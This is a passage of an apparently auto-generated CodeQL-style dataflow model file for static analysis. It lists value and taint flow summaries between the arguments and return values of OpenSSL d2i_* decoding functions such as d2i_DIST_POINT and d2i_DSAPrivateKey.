"Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, 